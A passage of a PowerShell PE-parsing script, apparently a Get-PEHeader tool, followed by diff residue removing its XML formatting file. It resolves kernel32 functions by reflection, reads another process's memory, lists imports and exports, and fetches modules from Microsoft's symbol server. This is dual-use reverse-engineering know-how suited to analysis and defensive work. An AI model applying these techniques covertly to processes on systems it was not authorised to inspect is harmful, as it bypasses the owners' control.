public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public IMAGE_SUBSYSTEM Subsystem;
public IMAGE_DLLCHARACTERISTICS DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)]
public _IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions; // RVA from base of image
public uint AddressOfNames; // RVA from base of image
public uint AddressOfNameOrdinals; // RVA from base of image
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public IMAGE_SCN Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
public uint TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date/time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
public uint ForwarderChain; // -1 if no forwarders
public uint Name;
public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA32
{
public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_THUNK_DATA64
{
public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
public struct _IMAGE_IMPORT_BY_NAME
{
public ushort Hint;
public char Name;
}
}
"@
$compileParams = New-Object System.CodeDom.Compiler.CompilerParameters
$compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll'))
$compileParams.GenerateInMemory = $True
Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null
}
function Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
function Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$OnDisk = $True
if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False }
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate)
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate)
if ($OnDisk) {
$FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
$FileByteArray = New-Object Byte[]($FileStream.Length)
$FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null
$FileStream.Close()
$Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned')
$PEBaseAddr = $Handle.AddrOfPinnedObject()
} else {
# Size of the memory page allocated for the PE header
$HeaderSize = 0x1000
# Allocate space for when the PE header is read from the remote process
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1)
# Get handle to the process
$hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010)
# Read PE header from remote process
if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read PE header of $ModuleName"
} else {
Write-Warning "Failed to read PE header of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
$DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER])
$PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew)
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32])
$Architecture = ($NtHeader.FileHeader.Machine).ToString()
$BinaryPtrWidth = 4
# Define relevant structure types depending upon whether the binary is 32 or 64-bit
if ($Architecture -eq 'AMD64') {
$BinaryPtrWidth = 8
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64]
NT_HEADER = [PE+_IMAGE_NT_HEADERS64]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 64-bit binary.'
} elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') {
$PEStruct = @{
IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32]
NT_HEADER = [PE+_IMAGE_NT_HEADERS32]
}
$ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32]
Write-Verbose "Architecture: $Architecture"
Write-Verbose 'Proceeding with parsing a 32-bit binary.'
} else {
Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.'
return
}
# Need to get a new NT header in case the architecture changed
$NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER'])
# Display all section headers
$NumSections = $NtHeader.FileHeader.NumberOfSections
$NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes
$PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER']))
$SectionHeaders = New-Object PSObject[]($NumSections)
foreach ($i in 0..($NumSections - 1))
{
$SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER])
}
if (!$OnDisk) {
$ReadSize = $NtHeader.OptionalHeader.SizeOfImage
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
$PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1)
# Read process memory of each section header
foreach ($SectionHeader in $SectionHeaders) {
if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) {
if ($ModuleName) {
Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName"
} else {
Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID"
}
Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))"
$CloseHandle.Invoke($hProcess) | Out-Null
return
}
}
# Close handle to the remote process since we no longer need to access the process.
$CloseHandle.Invoke($hProcess) | Out-Null
}
if ($PSBoundParameters['GetSectionData'])
{
foreach ($i in 0..($NumSections - 1))
{
$RawBytes = $null
if ($OnDisk)
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData)
}
else
{
$RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize)
[Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize)
}
$SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force
}
}
function Get-Exports()
{
if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any exports'
return
}
# List all function Rvas in the export table
$ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
# This range will be used to test for the existence of forwarded functions
$ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress
if ($OnDisk) {
$ExportPointer = Convert-RVAToFileOffset $ExportPointer
$ExportDirLow = Convert-RVAToFileOffset $ExportDirLow
$ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size
} else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size }
$ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY])
$AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames)
$NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals)
$AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions)
$NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames
$NumNames = $ExportDirectory.NumberOfNames
$NumFunctions = $ExportDirectory.NumberOfFunctions
$Base = $ExportDirectory.Base
# Recalculate file offsets based upon relative virtual addresses
if ($OnDisk) {
$AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr
$NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr
$AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr
}
if ($NumFunctions -gt 0) {
# Create an empty hash table that will contain indices to exported functions and their RVAs
$FunctionHashTable = @{}
foreach ($i in 0..($NumFunctions - 1))
{
$RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4))
# Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions.
if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction }
}
# Create an empty hash table that will contain indices into RVA array and the function's name
$NameHashTable = @{}
foreach ($i in 0..($NumNames - 1))
{
$RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4))
$FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName)
if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr)
$NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2))
$NameHashTable[$NameOrdinal] = $FuncName
}
foreach ($Key in $FunctionHashTable.Keys)
{
$Result = @{}
if ($NameHashTable[$Key]) {
$Result['FunctionName'] = $NameHashTable[$Key]
} else {
$Result['FunctionName'] = ''
}
if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) {
$ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key])
if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr }
$ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr)
# This script does not attempt to resolve the virtual addresses of forwarded functions
$Result['ForwardedName'] = $ForwardedName
} else {
$Result['ForwardedName'] = ''
}
$Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))"
$Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))"
#$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))"
$Export = New-Object PSObject -Property $Result
$Export.PSObject.TypeNames.Insert(0, 'Export')
$Export
}
} else { Write-Verbose 'Module does not export any functions.' }
}
function Get-Imports()
{
if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) {
Write-Verbose 'Module does not contain any imports'
return
}
$FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress)
if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr }
$ImportDescriptorPtr = $FirstImageImportDescriptorPtr
$i = 0
# Get all imported modules
while ($true)
{
$ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])))
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR])
if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break }
$DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name)
if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr }
$DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr)
$FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk)
if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr }
$FuncAddrPtr = $FirstFuncAddrPtr
$FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk)
if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr }
$OFTPtr = $FirstOFTPtr
$j = 0
while ($true)
{
$FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct)
$OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct)))
$ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct)
$Result = @{ ModuleName = $DllName }
if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1')
{
# Trim high order bit in order to get the ordinal value
$TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2)
$TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4]
[Array]::Reverse($TempOrdinal)
$Ordinal = ''
$TempOrdinal | ForEach-Object { $Ordinal += $_ }
$Result['Ordinal'] = "0x$Ordinal"
$Result['FunctionName'] = ''
}
else
{
$ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2)
if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr }
$FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr)
$Result['Ordinal'] = ''
$Result['FunctionName'] = $FuncName
}
$Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))"
if ($FuncAddr.AddressOfData -eq 0) { break }
if ($OFTPtr -eq 0) { break }
$Import = New-Object PSObject -Property $Result
$Import.PSObject.TypeNames.Insert(0, 'Import')
$Import
$j++
}
$i++
}
}
function Convert-RVAToFileOffset([IntPtr] $Rva)
{
foreach ($Section in $SectionHeaders) {
if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) {
return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData))
}
}
# Pointer did not fall in the address ranges of the section headers
return $Rva
}
$PEFields = @{
Module = $ModuleName
DOSHeader = $DosHeader
PESignature = $NTHeader.Signature
FileHeader = $NTHeader.FileHeader
OptionalHeader = $NTHeader.OptionalHeader
SectionHeaders = $SectionHeaders
Imports = Get-Imports
Exports = Get-Exports
}
if ($Ondisk) {
$Handle.Free()
} else {
# Free memory allocated for the PE header
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr)
}
$PEHeader = New-Object PSObject -Property $PEFields
$PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader')
$ScriptBlock = {
$SymServerURL = 'http://msdl.microsoft.com/download/symbols'
$FileName = $this.Module.Split('\')[-1]
$Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage
$Request = "$($Request.Substring(0, $Request.Length - 1))_"
$WebClient = New-Object Net.WebClient
$WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5')
Write-Host "Downloading $FileName from the Microsoft symbol server..."
$CabBytes = $WebClient.DownloadData($Request)
$CabPath = "$PWD\$($FileName.Split('.')[0]).cab"
Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")."
[IO.File]::WriteAllBytes($CabPath, $CabBytes)
$Shell = New-Object -Comobject Shell.Application
$CabFile = $Shell.Namespace($CabPath).Items()
$Destination = $Shell.Namespace((Split-Path $CabPath))
$Destination.CopyHere($CabFile)
Remove-Item $CabPath -Force
}
$PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force
return $PEHeader
}
}
-374
View File
@@ -1,374 +0,0 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<SelectionSets>
<SelectionSet>
<Name>OptionHeaderTypes</Name>
<Types>
<TypeName>PE+_IMAGE_OPTIONAL_HEADER32</TypeName>
<TypeName>PE+_IMAGE_OPTIONAL_HEADER64</TypeName>
</Types>
</SelectionSet>
</SelectionSets>
<ViewDefinitions>
<View>
<Name>PEView</Name>
<ViewSelectedBy>
<TypeName>PEHeader</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Module</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DOSHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>FileHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>OptionalHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SectionHeaders</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Imports</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Exports</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>OptionalHeaderView</Name>
<ViewSelectedBy>
<SelectionSetName>OptionHeaderTypes</SelectionSetName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Magic</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MajorLinkerVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorLinkerVersion</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfCode</Label>
<ScriptBlock>"0x$($_.SizeOfCode.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfInitializedData</Label>
<ScriptBlock>"0x$($_.SizeOfInitializedData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfUninitializedData</Label>
<ScriptBlock>"0x$($_.SizeOfUninitializedData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>AddressOfEntryPoint</Label>
<ScriptBlock>"0x$($_.AddressOfEntryPoint.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>BaseOfCode</Label>
<ScriptBlock>"0x$($_.BaseOfCode.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>BaseOfData</Label>
<ScriptBlock>"0x$($_.BaseOfData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>ImageBase</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.ImageBase.ToString('X8'))" } else { "0x$($_.ImageBase.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SectionAlignment</Label>
<ScriptBlock>"0x$($_.SectionAlignment.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>FileAlignment</Label>
<ScriptBlock>"0x$($_.FileAlignment.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>MajorOperatingSystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorOperatingSystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MajorSubsystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorSubsystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Win32VersionValue</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfImage</Label>
<ScriptBlock>"0x$($_.SizeOfImage.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeaders</Label>
<ScriptBlock>"0x$($_.SizeOfHeaders.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>CheckSum</Label>
<ScriptBlock>"0x$($_.CheckSum.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>Subsystem</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DllCharacteristics</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfStackReserve</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackReserve.ToString('X8'))" } else { "0x$($_.SizeOfStackReserve.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfStackCommit</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackCommit.ToString('X8'))" } else { "0x$($_.SizeOfStackCommit.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeapReserve</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapReserve.ToString('X8'))" } else { "0x$($_.SizeOfHeapReserve.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeapCommit</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapCommit.ToString('X8'))" } else { "0x$($_.SizeOfHeapCommit.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>LoaderFlags</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfRvaAndSizes</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DataDirectory</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SectionHeaderView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_SECTION_HEADER</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Name</Label>
<Alignment>Right</Alignment>
</TableColumnHeader>
<TableColumnHeader>
<Label>VirtualSize</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SizeOfRawData</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>PointerToRawData</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Characteristics</Label>
<Alignment>Left</Alignment>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<Alignment>Right</Alignment>
<PropertyName>Name</PropertyName>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualSize.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.SizeOfRawData.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.PointerToRawData.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Characteristics</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>FileHeaderView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_FILE_HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Machine</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSections</PropertyName>
</ListItem>
<ListItem>
<Label>TimeDateStamp</Label>
<!-- GMT compile time -->
<ScriptBlock>(New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock>
<!-- Compile time assuming it was compiled in Redmond, Washington (PST - GMT-8) -->
<!-- <ScriptBlock>(New-Object DateTime(1969, 12, 31, 16, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock> -->
</ListItem>
<ListItem>
<PropertyName>PointerToSymbolTable</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSymbols</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SizeOfOptionalHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>DataDirectoryView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_DATA_DIRECTORY</TypeName>
</ViewSelectedBy>
<TableControl>
